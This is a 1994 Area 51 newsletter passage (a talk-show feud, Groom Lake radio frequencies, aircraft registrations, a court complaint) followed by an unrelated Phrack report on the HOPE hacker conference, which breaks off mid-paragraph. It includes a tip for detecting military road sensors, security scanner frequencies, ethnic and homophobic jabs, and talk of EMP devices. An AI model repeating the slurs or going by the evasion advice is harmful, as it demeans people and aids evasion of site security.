As we rode down in the Humvee from Freedom Ridge with Montel and the producer, the reality to us became crystal clear: If we did not appear on the Montel Williams Show, then Sean would have the stage all to himself and could continue to spread any sort of nonsense about Area 51. We felt that we had no choice. Either we did battle with this guy now, before he grew bigger, or we would be cleaning up his mess for many months to come.

..... OUR RAPID EDUCATION .....

We had less than a week to prepare for the big show‑‑nowhere near enough time to do all the research we needed. The first item of business was to actually watch the Montel Williams Show and familiarize ourselves with the format. We cranked up our satellite dish and surfed through the channels. On "Donahue": "Six Year Olds Who Sexually Harass Other Six Year Olds." On "Rolanda, a related topic: "Will Your Child Grow Up To Be A Serial Killer?" On "The Vicky Show," we heard that Sean Morton had just appeared as an expert on the prophesies of Nostradamus, but we were unable to catch that one.

The first Montel Williams Show we saw was, "Mistresses Who Want To End The Affair." On the stage, three women disguised by dark sunglasses explained why they had been attracted to married men. We could only tolerate about ten seconds at a time of this show, but when we tuned back, we found that the women had shed their sunglasses and revealed their true identities. Presumably, they had also revealed, or at least seriously compromised, the identities of the men they had been having the affairs with. When we tuned in again later, one of the three was having an angry argument with a fourth female guest. We guessed that this was the wife of one of the married men.

A friend sent us a tape of Montel's original UFO show in which Sean appeared as a "UFO Investigator" and Montel promised to visit. The show included an abductee, a witness to the "Kecksburg Incident," a former actress, WFUFOR Sean David Morton, a requisite skeptic, a pro‑UFO filmmaker and‑‑as if you hadn't guessed‑‑that talk show regular Travis Walton. The show was conducted in the "expanding chairs" format. It started out with two guests alone on the stage, then more guests and chairs were added during each commercial break until there were seven chairs and seven squabbling speakers vying for attention on the platform. In this format, attention is diluted with each new chair, so the people who appear last, typically the skeptics, usually get only a few seconds of airtime. During the free‑for‑all of a seven‑person debate, the camera always focuses on the most aggressive and charismatic guest‑‑i.e. Sean David Morton.

The last chair to be filled was occupied by filmmaker Russ Estes, who the on‑screen caption said, "Does Not Believe In UFOs." This is false. He is a disciplined UFO investigator who has devoted his career to making films on the subject, as well as exposing obvious frauds. What is true is that he "Does Not Believe In Sean Morton." In his few seconds of air time, he raised doubts about one of Morton's many fake credentials, his claimed "Doctor of Divinity" degree.

RUSS ESTES: "Montel, my biggest problem, and this is what I've run into over and over again, is the quality of the individual who is bringing me the message. You know, the‑boy‑that‑cried‑wolf syndrome is phenomenal in this field. You get people out there who are saying, I'm this, I'm that, and I hate to do this to you, Sean, but here's a guy right here who claims to be the Doctor, Reverend Sean David Morton. In his own biography, he claims to have gotten his Doctor of Divinity at‑‑excuse me, it will take me one second...."

SEAN MORTON: "Berachah University."

RUSS ESTES: "Berachah University, Houston, Texas‑‑the Berachah Church. I called them. They don't have any type of degrees that they give. They have Bible study at the best. He claims to have attended University of Southern California...."

MONTEL WILLIAMS: "So the point that you are making, Russ, is that there's a problem with the messenger, so therefore the message is not real."

RUSS ESTES: "How can you believe the message if the people lie to you from the start."

SEAN MORTON: "The thing I'd like to point out about Mr. Estes here is that if you don't like the message, you can shoot the messenger, and it's obvious to me that in the UFO field, we do this for free, we do this because we want to know the truth, because we have seen something...."

RUSS ESTES: "But does that mean you bogey up your credentials?"

SEAN MORTON (angry): "That is not true. You are flat‑out lying to these people. I went to USC for four years."

Just then, the debate was cut off by a sloppy edit, and Sean's USC diploma appeared on the screen.

After watching the tape, we contacted Russ Estes. He said that the debate between he and Sean went on much longer than was shown on the screen. "Live on tape" does not mean totally unedited. This show went on for over two hours to obtain a one hour's worth of material. Sometimes, whole shows are thrown out when they don't work. Unfortunately, Estes made a misstep on the USC degree. As it turns out, this is just about the only authentic credential he has: a B.A. in Drama and Political Science. We certainly believe the Drama part: It's the last degree he ever needed.

The Doctor of Divinity degree is still phony, but in the talk show world, evidence counts for nothing; only emotions and presentation matter. Sean walked away from the show as a brave and knowledgeable crusader, legitimized by a promise from Montel to take his tour, and with the implied invitation to reappear on the show. Estes walked away alone, wasn't invited to return, and has since had to live down the "Does Not Believe in UFOs" moniker. Sean even had the delightful gall to send Estes a letter, through the producers...

‑‑‑

Mr. Russ Estes

c/o Alex Williams [sic]

The Montel Williams Show

1500 Broadway Suite 700

New York, New York, 10036

Dear Russ:

I am going to assume that you are not a bold faced liar who is out for some kind of warped revenge, or a person who is just trying to make a buck off baseless slander.

Let's try to solve this like gentlemen ‑ enclosed is a copy of my U.S.C. diploma. I have also called the school and my records are intact. The rest of your "research" on me is equally faulty.

I hope this solves out problem. If not, I have consulted my attorney and any further slander directed toward me through your video series or elsewhere, will result in action taken against you.

Yours Truly,

[BIG signature]

Sean Morton

‑‑‑

Things were beginning to look grim for Psychospy. With the time of the taping drawing near, we hadn't even begun to scratch the surface of Sean David Morton and his path of destruction. Talking to our contacts, we saw that Sean had accumulated a vast audience of intimate enemies, more than we could possibly contact. If Sean sounds knowledgeable and occasionally has some meaningful information, it is because he has ripped it off from others. We were amused to find that there was even an reputable astrologer who hated Sean, who felt that Sean had stolen his predictions and passed them off as his own.

It seemed a futile exercise anyway. We knew all the evidence in the world wasn't going to matter when we actually faced off against Sean on camera. We were leaving behind our own comfortable medium of logic and data and stepping into his home turf‑‑the talk show‑‑where presentation counts more than content. We were obligated by our own ethics to speak only the simplest truths and the cautious assertions supported by data. Sean David Morton, bold faced liar that he is, faced no such constraints. He could spout any lie he wanted to sound important and get himself off the hook, and the only thing that mattered here was that he said it with apparent sincerity and that it held up for television's thirty second attention span. We knew that if we started to make an accusation about him, he would instantly sense the winds and make the same one against us with greater force. The ensuing argument would make he and us appear to be equals.

Sean knew all the buzzwords and cliches of the UFO movement and could spout the conventional wisdom much faster than we could. He knew how to sound sincere and reasonable and adapt instantly to the sentiments of any social circumstance. He was well‑practiced at responding to inquisitions and had emerged from many without a scratch. Opposing him, all we had was a body of mundane knowledge about a very limited area of the desert. Sean was smooth and well‑honed in his talk show delivery, and we were stumbling in for the first time to a medium where we really didn't want to be.

It was with these reservations and a sense of dark foreboding that we packed our bags and headed for New York City. There, in Times Square, we expected a titanic battle between Good and Evil, and things didn't look good for Good.

[To be continued in Desert Rat #16....]

‑‑‑‑‑ NEW AIR FORCE STATEMENT ON GROOM ‑‑‑‑‑

The following statement was recently released to inquiring journalists by the Nellis AFB public affairs office. (We requested our own copy from Major George Sillia on Aug. 26.) It represents a significant shift from the previous "We know nothing about Groom Lake" response.

"There are a variety of facilities throughout the Nellis Range Complex. We do have facilities within the complex near the dry lake bed of Groom Lake. The facilities of the Nellis Range Complex are used for testing and training technologies, operations, and systems critical to the effectiveness of U.S. military forces. Specific activities conducted at Nellis cannot be discussed any further than that."

That's a step in the right direction. What the base needs now is a name and a history. For example, tell us about the U‑2 and A‑12 programs at Groom in the 1950s and 1960s. That's not very secret or critical to our current defense, so what's the point in pretending it is? Will the Air Force take control of the situation and provide this information itself, or will the void be filled by a dozen aggressive entrepreneurs?

We'd bet our money on the entrepreneurs.

‑‑‑‑‑ EG&G TO ABANDON TEST SITE ‑‑‑‑

According to an 8/26 article in the Las Vegas Review‑Journal, EG&G and its REECo subsidiary will not seek renewal of their Nevada Test Site contract when it expires in 1995. These are two of the three companies that have managed the nuclear testing ground since its inception. It is unclear whether this action will have any affect on operations at the adjoining Groom Lake base, where EG&G and REECo are also assumed to be major contractors.

Recent rumors say that EG&G no longer operates the "Janet" 737 jets that shuttle workers to Groom and Tonopah. That operation has supposedly been taken over by the Air Force, using the same aircraft and possibly the same staff.

‑‑‑‑‑ JANET "N" NUMBERS ‑‑‑‑‑

For aircraft watchers, here are the registration and serial numbers of Janet 737s and Gulfstream commuter planes spotted at the Janet terminal at McCarran airport. Based on observations in 5/94 and the 4/30/94 FAA registry. One or more of the Janet aircraft are probably missing from this list. (We ask our readers to find them.)

Boeing 737...

Reg. #/Serial #/Owner

N4508W 19605 Great Western Capital Corp, Beverly Hills

N4510W 19607 Great Western Capital Corp, Beverly Hills

N4515W 19612 Great Western Capital Corp, Beverly Hills

N4529W 20785 First Security Bank of Utah, Salt Lake City N5175U 20689 Dept. of the Air Force, Clearfield UT

N5176Y 20692 Dept. of the Air Force, Clearfield UT

N5177C 20693 Dept. of the Air Force, Clearfield UT

Gulfstream C‑12...

N20RA UB‑42 Dept. of the Air Force, Clearfield UT

N654BA BL‑54 Dept. of the Air Force, Clearfield UT

N661BA BL‑61 Dept. of the Air Force, Clearfield UT

N662BA BL‑62 Dept. of the Air Force, Clearfield UT

‑‑‑‑‑ JANET HANDOFF FREQUENCIES ‑‑‑‑

A DESERT RAT EXCLUSIVE! Published here for the first time are the air traffic control frequencies for the "Janet" 737 crew flights from Las Vegas McCarran Airport to Groom. The McCarran freqs are public, but the Groom ones have not been revealed until now. Air traffic control broadcasts are "in the clear" and any scanner radio should be able to pick them up. Each of these freqs has been personally confirmed by Psychospy or a close associate.

121.9 McCarran Ground Control

119.9 McCarran Tower

133.95 Departure Control

119.35 Nellis Control

120.35 Groom Approach

127.65 Groom Tower

118.45 Groom Ground

Here are some other Groom freqs (some of which were previously reported in DR #8). The security frequencies are usually scrambled, but not always.

418.05 Cammo Dudes (primary)

408.4 Cammo Dudes (repeat of 418.05)

142.2 Cammo Dudes

170.5 Cammo Dudes (Channel 3)

138.3 "Adjustment Net" (seems related to security)

261.1 Dreamland Control (published)

255.5 Groom Tower (repeat of 127.65)

154.86 Lincoln County Sheriff

496.25 Road sensors on public land

410.8 Pager (apparently from Groom but unconfirmed)

The most accurate way to detect a road sensor (AFTER you have tripped it), is to program 496.25 into several channels of your scanner, then scan those channels exclusively as you are driving. When the scanner stops on one channel, you have just passed a sensor.

‑‑‑‑‑ GROOMSTOCK '94 ‑‑‑‑‑

The "Freedom Ridge Free Speech Encampment" went pretty much as planned, with at least sixty people in attendance but not all of them staying for the night. There were no surprises and, sadly, no confrontations with the authorities when we whipped out our cameras and pseudo‑cameras to point at the secret base. The Cammo Dudes were visible but kept their distance, and the only authority figure to show up on the ridge was a BLM Ranger in a Smoky‑theBear hat. He was concerned only that we clean up our trash, and he warned us, by his very presence, that "Only You Can Prevent Forest Fires."

The event was recorded in an 8/29 article in the Las Vegas ReviewJournal, which dubbed it "Groomstock." [The article may be available at the FTP site.] We were disturbed to read in the paper that the attendees included some "marijuana‑smoking slackers." We called around and found out it was true and that it happened after Psychospy went to bed. Had we known, we would have quashed it immediately. This sort of thing discredits our ability to police ourselves and hurts the reputation of the land grab opponents.

The hot gossip around the campfire was about the Review‑Journal reporter and the loony in the tie‑dyed shirt. The loony had spent about an hour moving rocks and dirt around to make himself a comfortable bed, then he blew a conk‑shell horn and banged cymbals together to bless it. When the reporter arrived, he volunteered to make a bed for her, too, not far from his own, and he proceeded with the project without any encouragement. It is unknown why he singled her out for this special honor, but evidently she was "chosen." It should be noted, however, that while blessing the reporter's bed, the loony accidentally dropped one of the cymbals. We forget to check with the reporter in the morning to see if that omen affected the quality of her nighttime experience.

‑‑‑‑‑ SOUND FAMILIAR? ‑‑‑‑‑

From an AP news story printed in the 8/5 Review‑Journal...

"PORT‑AU‑PRINCE, Haiti ‑‑ Authorities deported an American TV crew Thursday, putting the three journalists in an open pickup truck, parading them through the capital and then dumping them at the Dominican border....

"Soldiers detained the freelance journalists for PBS's 'The MacNeil/Lehrer Newshour' on Sunday while they were filming at Port‑au‑Prince's airport. Three of their videotapes were seized....

"The military‑backed government has urged journalists not to report 'alarmist' news and has attempted to restrict news coverage....

"'I think it's deplorable, and it's obviously an attempt to embarrass them,' [U.S.] Embassy spokesman Stanley Schrager told The Associated Press. 'This treatment was not necessary; neither was the deportation.... It's a transparent attempt by this illegal regime to interfere with the free flow of information.'"

In related news, the four of the five video tapes seized on July 19 from KNBC‑TV have still not been returned. The tapes were taken without a warrant after the crew filmed an interview on Freedom Ridge but not the Groom base itself. Activist Glenn Campbell, who accompanied the crew, was arrested when he attempted to interfere with this seizure.

‑‑‑‑‑ CAMPBELL ARRAIGNED ‑‑‑‑‑

Activist Glenn Campbell reports that his Aug. 24 arraignment on obstruction charges was "amicable." Charges were presented, but the District Attorney did not appear. The complete text of the charges, stemming from the July 19 KNBC incident, reads as follows...

‑‑‑

Case No. P55‑94

IN THE JUSTICE COURT OF THE PAHRANAGAT VALLEY TOWNSHIP

IN AND FOR THE COUNTY OF LINCOLN, STATE OF NEVADA

CRIMINAL COMPLAINT

STATE OF NEVADA, Plaintiff,

vs.

GLENN P. CAMPBELL, Defendant.

STATE OF NEVADA ) ss.

County of Lincoln )

DOUG LAMOREAUX, being first duly sworn and under penalty of perjury, personally appeared before me and complained that on or about the 19th of July, 1994, in Lincoln County, State of Nevada, the above‑named Defendant, GLENN P. CAMPBELL, committed the following crime:

COUNT 1

OBSTRUCTING PUBLIC OFFICER, a violation of NRS 197.1990 and LCC 1.12.010, a MISDEMEANOR, in the following manner:

The Defendant did, then and there, after due notice, willfully, hinder, delay or obstruct a public officer in the discharge of his officer powers or duties. Specifically, the Defendant did, then and there, after due notice, willfully hinder Sergeant Doug Lamoreaux in the discharge of his official duties by locking the doors of the vehicle which Sergeant Lamoreaux was retrieving certain items from and further refused to unlock the doors after being requested to do so by Sergeant Lamoreaux.

All of which is contrary to the form of Statute in such cases made and provided and against the peace and dignity of the State of Nevada. The complainant, therefore, prays that a Warrant be issued for the arrest of the Defendant, if not already arrested, so that he may be dealt with according to law.

[Signed]

DOUG LAMOREAUX

Sergeant

Lincoln County Sheriff's Department

SUBSCRIBED and SWORN to before me

this 24th day of August, 1994

[Signed] NOLA HOLTON

NOTARY PUBLIC/JUSTICE OF THE PEACE

‑‑‑

The only surprise in these charges is the line "and further refused to unlock the doors after being requested to do so by Sergeant Lamoreaux." That is not how Campbell recalls the incident. DR#12, published less than 12 hours after the incident, reported it as follows...

"At this point Campbell, who had been standing on the opposite side of the vehicle, reached in and pushed down the door locks on the side that Lamoreaux was approaching.

"Lamoreaux said, 'You're under arrest.' Campbell was immediately handcuffed and placed in Deputy Bryant's vehicle."

Campbell claims that Lamoreaux said, "You're under arrest," IMMEDIATELY after he pushed down the door locks, with no request being made to unlock them. Campbell says he has two other witnesses, the KNBC crew, who can verify his story. In this case, where the basic recollection of facts is in conflict, it will be interesting to see what the second officer, Deputy Kelly Bryant, will say under oath.

However, the core of Campbell's defense rests on Constitutional issues. He is guilty of obstruction only if the officer was indeed engaged in the "lawful" execution of his duties. Lamoreaux justified his warrantless search by citing, in vague terms, a certain Supreme Court ruling, the name of which he could not recall at the time. That ruling is apparently in the case "Ross vs. U.S." which allows the warrantless seizure of "contraband" from a vehicle when there is a danger of flight. It is unclear at this point whether the video tapes of a news crew constitute contraband in the same manner as a shipment of marijuana or stolen merchandise. Complex First Amendment issues may be invoked. The case may be further complicated by the repeated offer by the TV reporter to allow Lamoreaux to view the video tapes himself.

Campbell has requested, and has been granted, a jury trial. According to the Justice, this will be the first jury trial held in this court since about 1987. Campbell announced his intention to represent himself at the trial, with possible legal co‑council. A tentative trial date of Oct. 25 has been set, but it is likely to be postponed. Campbell indicated that he will waive his right to a trial within 60 days to allow more time to conduct legal research.

‑‑‑‑‑ LARRY KING NOT CLONED? ‑‑‑‑‑

Our report in DR#13 about the diversion of Larry King's plane to Nellis AFB continues to disturb many of our readers. It raises the specter of secret contacts between King and the military or even a surreptitious replacement of the talk show host by a lookalike clone. Now, we wonder if our panic was only a false alarm.

A producer from a Las Vegas TV station tells us: "I checked into it and think it is legit. According to the FAA, McCarran Airport was never really closed, but they did have pilots choose not to land on that Saturday afternoon because of inclement weather. They also confirm that there is an agreement with Nellis to allow planes in trouble to land there. I spoke to the control tower at McCarran. They checked their records, and they indicate that on that Saturday a nasty thunderstorm was noted by the tower at 1:452:05. In fact, four takeoffs were delayed during that time due to weather. Planes in the air just flew holding patterns until the weather cleared."

Presumably, King's plane didn't have enough fuel to maintain the holding pattern. Thunderstorms can be very localized, and perhaps Nellis was clear. A producer at Larry King Live says that, in her opinion, he is definitely the same Larry King. She says he got the military escort because he was late for a speaking engagement and made his wants known on the plane.

So what can we say? Obviously, the FAA, the TV station and the King producer ARE PARTIES TO THE CONSPIRACY. This story is deeper than it seems, and the Rat will pursue the investigation for as long as it takes. THE TRUTH IS OUT THERE.

‑‑‑‑‑ MYSTERIOUS SIGN DISAPPEARANCE ‑‑‑‑‑

The big "No Photography" signs on the Groom Lake Road have disappeared. For over a year, they were installed on public land about two miles from the military border, but sometime in the first week of August they were cleanly removed, posts and all, apparently by the Air Force. (A civilian thief‑‑like SDM, who has a number of these signs in his possession‑‑would have simply unscrewed the signs, not uprooted the heavy posts and carefully filled up the holes.) The two signs on either side of the road were each about 3 feet by 4 feet and bore the following text:

WARNING: THERE IS A RESTRICTED MILITARY INSTALLATION TO THE WEST. IT IS UNLAWFUL TO MAKE ANY PHOTOGRAPH, FILM, MAP, SKETCH, PICTURE, DRAWING, GRAPHIC REPRESENTATION OF THIS AREA, OR EQUIPMENT AT OR FLYING OVER THIS INSTALLATION. IT IS UNLAWFUL TO REPRODUCE, PUBLISH, SELL, OR GIVE AWAY ANY PHOTOGRAPH, FILM, MAP, SKETCH, PICTURE, DRAWING, GRAPHIC REPRESENTATION OF THIS AREA, OR EQUIPMENT AT OR FLYING OVER THIS INSTALLATION. VIOLATION OF EITHER OFFENSE IS PUNISHABLE WITH UP TO A $1000 FINE AND/OR IMPRISONMENT FOR UP TO ONE YEAR. 18 U.S. CODE SEC. 795/797 AND EXECUTIVE ORDER 10104. FOR INFORMATION CONTACT:

USAF/DOE LIAISON OFFICE

PO BOX 98518

LAS VEGAS, NV 89193‑8518

The signs first appeared in May 1993 shortly after WFAA‑TV from Dallas took video of the base from White Sides. (When challenged by the Sheriff, they admitted photographing the base but managed to retain their tape.) The signs were removed in Aug. 1994 shortly after KNBC‑TV from Los Angeles lost their video tape after NOT photographing the base. It is unclear why the AF removed the signs. Perhaps they have become a little smarter and are adopting a "don't ask, don't tell" policy toward photography (but we wouldn't want to be the ones to test that theory). The signs themselves had become a tourist attraction, and no visitor could resist having their picture taken beside them.

At the same time the "No Photography" signs vanished, the misplaced "Restricted Area" sign also went away. This is the crossed out sign seen in the NYT article, where the "stupid faggot" comment had later been written and then erased (DR#12,13). God, we'll miss that sign! It was as illegal as hell‑‑being on public land‑‑but an old friend to us nonetheless.

At least now we can assure the public: If you see a Restricted Area sign, it's real and they mean it.

‑‑‑‑‑ INTEL BITTIES ‑‑‑‑‑

ENCOUNTERS TRANSCRIPT. Complete, unedited transcripts (not just the sound bites) of the interviews in the 7/22 Encounters show (DR#10) are available to Compuserve users. Type GO ENCOUNTERS, and look under "Browse Libraries" and "Interview Transcripts." Interviews include Rep. James Bilbray (file FREED2.105), Agent X (FREED1.105) and Glenn Campbell (FREED3A.105, FREED3B.105). This is a transcript for video editing, so every "Um" and "Ah" is recorded.

NEW GUARD FACILITY. We send our congrats to the Dudes on their newly constructed prefab building next to the guard house on Groom Lake Road (about a half mile inside the border). Apparently, they are expecting more business along this part of the border and need a new substation. Interested taxpayers can view the new building from the first hill on the hiking trail to F.R. ("Hawkeye Hill"), a location that will continue to be public even if F.R. is taken.

UPCOMING TV SEGMENTS. UNSOLVED MYSTERIES will broadcast a show on UFOs with a segment on Area 51 on Sunday, Sept. 18 at 8pm. The broadcast will include a new interview with Bob Lazar. THE CRUSADERS will broadcast a segment on UFOs, including a visit to F.R., on Sept. 10 or 11 (date and time vary by city). Air date for THE MONTEL WILLIAMS SHOW taped on Aug. 23 has not been confirmed, but it could be the week of Sept. 12.

===== SUBSCRIPTION AND COPYRIGHT INFO =====

(c) Glenn Campbell, 1994. (psychospy@aol.com)

This newsletter is copyrighted and may not be reproduced without permission. PERMISSION IS HEREBY GRANTED FOR THE FOLLOWING: For one year following the date of publication, you may photocopy this text or send or post this document electronically to anyone who you think might be interested, provided you do it without charge. You may only copy or send this document in unaltered form and in its entirety, not as partial excerpts (except brief quotes for review purposes). After one year, no further reproduction of this document is allowed without permission.

Email subscriptions to this newsletter are available free of charge. To subscribe (or unsubscribe), send a message to psychospy@aol.com. Subscriptions are also available by regular mail for $15 per 10 issues, postpaid to anywhere in the world.

A catalog that includes the "Area 51 Viewer's Guide", the Groom Lake patch and hat and many related publications is available upon request by email or regular mail.

Back issues are available on various bulletin boards and by internet FTP to ftp.shell.portal.com, directory /pub/trader/secrecy/psychospy. Also available by WWW to http://alfred1.u.washington.edu:8080/~roland/rat/desert_rat_index.

html

Current circulation: 1440 copies sent directly to subscribers (plus an unknown number of postings and redistributions).

The mail address for Psychospy, Glenn Campbell, Secrecy Oversight Council, Area 51 Research Center, Groom Lake Desert Rat and countless other ephemeral entities is:

HCR Box 38

Rachel, NV 89001 USA

HOPE

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 22 of 28

****************************************

HOPE

by

Erik Bloodaxe

I was a little apprehensive about going to HOPE. I'd been warned for months that "If you go to HOPE, you are going home in a body bag," and "I am going to kick your fucking ass at hope," and "If you go, you're gonna get shot."

Needless to say I found this a bit unnerving. As big an ego as I may have, it still does not repel hot lead projectiles. Add this to the fact that my best friend of 10 years was murdered by some random idiot with a pistol in fucking pissant, Bible‑thumping Waco, TX a few months back. Waco. And the shooter wasn't even a Davidian, just a drugged‑out 16 year‑old. If the kids pack heat in Waco, I know they must come standard issue in New York.

But, hell, I've haven't missed a con in ages. Could I actually miss a SummerCon? Especially the SummerCon commemorating the 10th anniversary of 2600 Magazine? Could I?

Like an idiot, I make my reservations. Ice‑9, who was stuck with a leftover ticket on United, traded it in and we were both off to New York.

We arrived late Friday night. So there we were: The Big Apple, Metropolis, The City that Never Sleeps. Unfortunately, it never showers or changes its clothes either. Why anyone in their right mind would want to come to New York City boggles the mind. It sucks. I mean, I've been damn near everywhere in the United States, I've been to major cities in Mexico, Canada and Europe, and New York is by far and away the worst fucking shithole I've seen yet. I don't know for certain, but Port au Prince probably has more redeeming qualities.

I figured out within a few minutes why New Yorkers are such assholes too. First, no one seems to be from New York exactly, merely transplants from somewhere else. So what has happened is that they bought into New York's superb public relations campaign and sold off all their belongings to get their ticket to America and the land of opportunities. So, they find themselves in NYC with about half a billion other broke, disillusioned immigrants wading in their own filth, growing very pissed off at being sold such a bill of goods.

It would piss me off too. And I'm sure our cab driver that night missed his family's ancestral thatched hut back in good old Bangladesh. But luckily for him crack provides a good short‑term solution. Not to mention excellent motor skills.

Twenty‑five near misses, and a lengthy carhorn symphony later, we managed to arrive at the Hotel Pennsylvania intact. The hotel, heralded in legend and lore had seen better decades. About the only thing it had going for it was one of the oldest phone numbers in the city. PEnnsylvania 6‑5000. (Ta‑da‑dum‑dum) I think if Glen Miller were alive today, his band members would kick his ass if he told them they had to sleep there.

For a hundred dollars a night, Ice‑9 and I were treated to two less than jail‑house sized beds, a tv that almost worked, and a hardwired telephone (ie: no modular jacks in sight.) In addition, the entire room was stained from floor to ceiling, and most of the wall paper by the window had peeled halfway down. The window itself opened to a miraculous view of the trash 12 floors down. We debated on throwing every single object in the room out the window for a little excitement, but decided it might injure some of the homeless below.

Anxious to get the hell out of our little cell (well, the prisons I've had the misfortune to sleep in were in better repair) Ice‑9 and I took off to the top floor and the HOPE conference area.

I don't know why Emmanuel decided to call this conference "Hackers On Planet Earth." This conference had more right to the title "Hacking at the End of the Universe." Perhaps even "Hacking in the Cesspool of the Earth." HEU was in the middle of nowhere, but it was pretty and happy. It should have been called HOPE.

In fact, as the days went on, I noticed a number of similarities between HOPE and HEU:

1. Both heavily orchestrated by 2600 and Hack‑Tic 2. Both had in‑house networks

3. Both had token "fed" speakers

4. Both had seminars on boxing, pagers, social engineering, history, UNIX, cellular, magnetic cards, lock picking, legal issues, etc. 5. Both drew extensive press attendees

6. Both charged more than any other conferences. (HOPE 25, HEU 50) 7. Both had over a thousand attendees

8. Both used computer equipment to make photo badges 9. Both tried far too hard to be technical

10. New York used to be New Amsterdam

But I digress...

Anyway, the network room was beginning to shape up quite nicely. Young hacklets were already clicking away at their keyboards, oblivious to anything else save their screens. Why anyone would travel all the way to New York to sit in front of a screen and type all by their lonesome left me stymied. Isn't that what we all do back at home?

The first people we ran into were Winn Schwartau and Bootleg. I could be wrong, but I think a large factor in Winn's showing up at HOPE was to watch me get shot and write about it. He told me his article would be titled, "Cyber‑Christ gets nailed to the Cross." Bootleg, however, was here to raise a little hell. And goddamnit, so were we!

Hacker conferences have always been an excuse for people who only knew each other over the phone and over the networks to actually meet face to face and hang out. Anyone who tells you "Conferences today suck, there isn't enough technical inpho," is a clueless fuck. You do not go to a conference expecting to learn anything. If you don't already know, chances are pretty damn good that the people who do won't tell you. You learn by doing, not by sitting in an audience at some hacker con. Get a beer, make some new friends, and THEN maybe you might pick up something in casual conversation, but at least you will have a good time getting sloshed with new people who share common interests. The only people who will learn something from hacker conferences are journalists who will then go on to write even more scathing sensationalist pieces about how hackers will destroy your credit and eavesdrop on your phone. Is that what we really want?

Me, Ice‑9, Bootleg, Bootleg's friend from Oregon, and Thomas Icom took off to drink and see what debauchery lay waiting for us in Times Square. (Yes, it was a very, very, very mismatched looking group.) Icom, armed with ever‑present handheld scanner, kept a continual broadcast of NYPD's latest exploits.

We ended up hanging out on the fringes of Times Square at some sidewalk deli bullshitting about anything and everything. A recurring topic throughout the whole weekend was EMP and HERF weaponry. I don't particularly know if anyone in the underground would more excited by setting off one of these devices, or merely being able to brag to everyone that they were in possession of one.

We sat talking about the ramifications of setting off some such device on the roof of the building we were sitting in front of. The thought of all the neon and electronics surrounding us simultaneously ceasing to function and imploding at the logic gate level provided for at least an hour of hacker masturbation material. Bootleg reminisced about trying to track down decommissioned military radar equipment back in the early 80's for just such a project. "I'm surprised it's taken this long for the underground to get up on this stuff," he said.

As we headed back to the hotel, we passed by the coolest vehicle ever seen by hacker eyes. The 2600 van was an exact replica of a NYNEX van, with the subtle addition of the magazines moniker instead of NYNEX, and a ball‑capped hack‑type tapping away on a notebook computer, plugged into the bell logo. It was truly a sight to behold. I began to drool. All Phrack has is a beat up, red Toyota Corolla.

Up in the network room those that were not deeply engrossed in hacking the hope.net linux box were either already plowed (Hi Torquie!) or about to be.

It was late, so we decided to crash.

Ice‑9 and I managed to wake up at a reasonable hour, and took off to see the city. I had seen an electronics store the night before, and had been looking for a PAL‑NTSC‑SECAM VCR for ages. I found it. New York's only saving grace (well, except the huge amount of businesses there all screaming for security work) was cheap consumer electronics. For 380 bucks I got a VCR that not only converted on the fly between any tape format, but also had a digital freeze frame for those elusive screen captures. I was stoked.

After some food, we headed back up to the conference. The buzz was someone had several hundred cell phones confiscated by Cellular One reps after he off‑handedly remarked that he would clone them

to a potential buyer. I then ran into two of my friends from WAY back in the early 80's: Tuc and Agrajag. Ag is an amazing guy. Not only was he fantastic way back then, he went on to write UNIX for Commodore, pull stints at places like USL, and is now working with speech recognition and wireless networking. Yet another fine example of those ne'er‑do‑well Legion of Doom guys the government always frowned upon. Right.

Later that afternoon, as I'm talking to someone in the network room, I feel someone bump into me. "Oh, sorry," says the person, and I go on with my conversation. A few seconds later, it happens again. Same guy, same "Oh, sorry." When it happens a third time I shove the guy back, and say, "Man, what the hell is your problem." Mistake. I look up straight into the eyes of a guy about 7 feet tall and 2 feet wide. Well, I'm exaggerating but it sure seemed that way at the time. All of a sudden I am an extra in the Puerto Rican version of "Of Mice and Men." "De Ratones Y Hombres"

The first guy was about 5 feet tall, and scurried around within an arms reach of the big guy. Immediately I realize that if I do ANYTHING, this big dude is more than ready to fuck me up, so the little guy must be a diversion. The big guy grunts and begins to maneuver around me. The little guy then takes his cue and begins pushing me, all the while asking "What's your name? What's your handle?" I keep backing up keeping an eye on the big guy, who is staring daggers at me. Well, at least with his one good eye. His lazy eye, stared daggers at the wall, the carpet, and a few other places.

Meanwhile, this little event has gathered the interest of many in the con. People began to gather around to see Erik Bloodaxe finally get beat down. Unfortunately for the would‑be spectators, several others tried to intervene. Tuc and a few of the other larger attendees went up to the big guy and attempted to hold him back. This only succeeded in him letting out a roar‑like sound as he shrugged them off and continued coming towards me.

Finally, I say to the little guy, who has been engaging me in what was basically the equivalent of the mosh pit at a Barry Manilow concert, (One fucked up guy running into people who don't want to play his game) "I'm Chris Goggans, who the hell are you?" To which he yells, "I'M JULIO!"

Julio, aka Outlaw, aka Broken Leg, was one of the MOD members who was raided by the FBI and Secret Service some years back. While all his MOD brethren served jail time, Julio worked out a deal with the prosecutors in which he sold out his friends by agreeing to provide state's evidence against them should the cases go to court.

And I'm the bad guy?

Fuck, all I ever did was try to keep my business running free of interruptions from disgruntled, jealous teenagers. I never turned state's evidence against my best friends to save my own ass. What am I, Agent Steal?

At this point everyone rushed in‑between us and whisked Julio and his lazy‑eyed, neandrethal boyfriend out the door. (Notice, I can call him all kinds of names now, because I'm back home in Austin, several thousand miles away.) I still have no idea who the big guy was.

From now on, those of you who sincerely want to kick my ass, have the nerve to do it by yourself. I mean, I only went as far up as green in Tae Kwan Do, but that was far enough to learn the sacred truth, "Never take on more than ONE person or you will get the shit kicked out of you." Leave your boyfriends at home and be a man. If I have the balls to go thousands of miles away from home an enter the DMZ expecting to get shot, then you should have the balls enough to do something on your own. And remember: take the first swing.

Shortly after "the incident" as it came to be called, by everyone who approached me about it afterward, me, Winn, Dave Banisar, and Robert Steele took off to find food. Steele decided we needed female accompaniment, so he invited a reporter from Details. She brought along her camera crew, who had been taking so many pictures around the con, one would think they owned Polaroid stock.

Robert Steele is an interesting character. After a 20 year CIA tour he went on to found Open Source Solutions, a beltway operation that uses public sources of information to build intelligence dossiers. He described himself as "a short, fat, balding old‑guy." This is like Rush Limbaugh calling himself "a harmless, loveable little fuzzball." Their self‑image is a bit removed from reality. Steele carries himself with the air of a spy. It's kind of hard to explain, but it would be easy to see Steele excusing himself from dinner, killing three guys in the alley, and coming back for a piece of apple pie without an accelerated heartbeat or breaking a sweat.

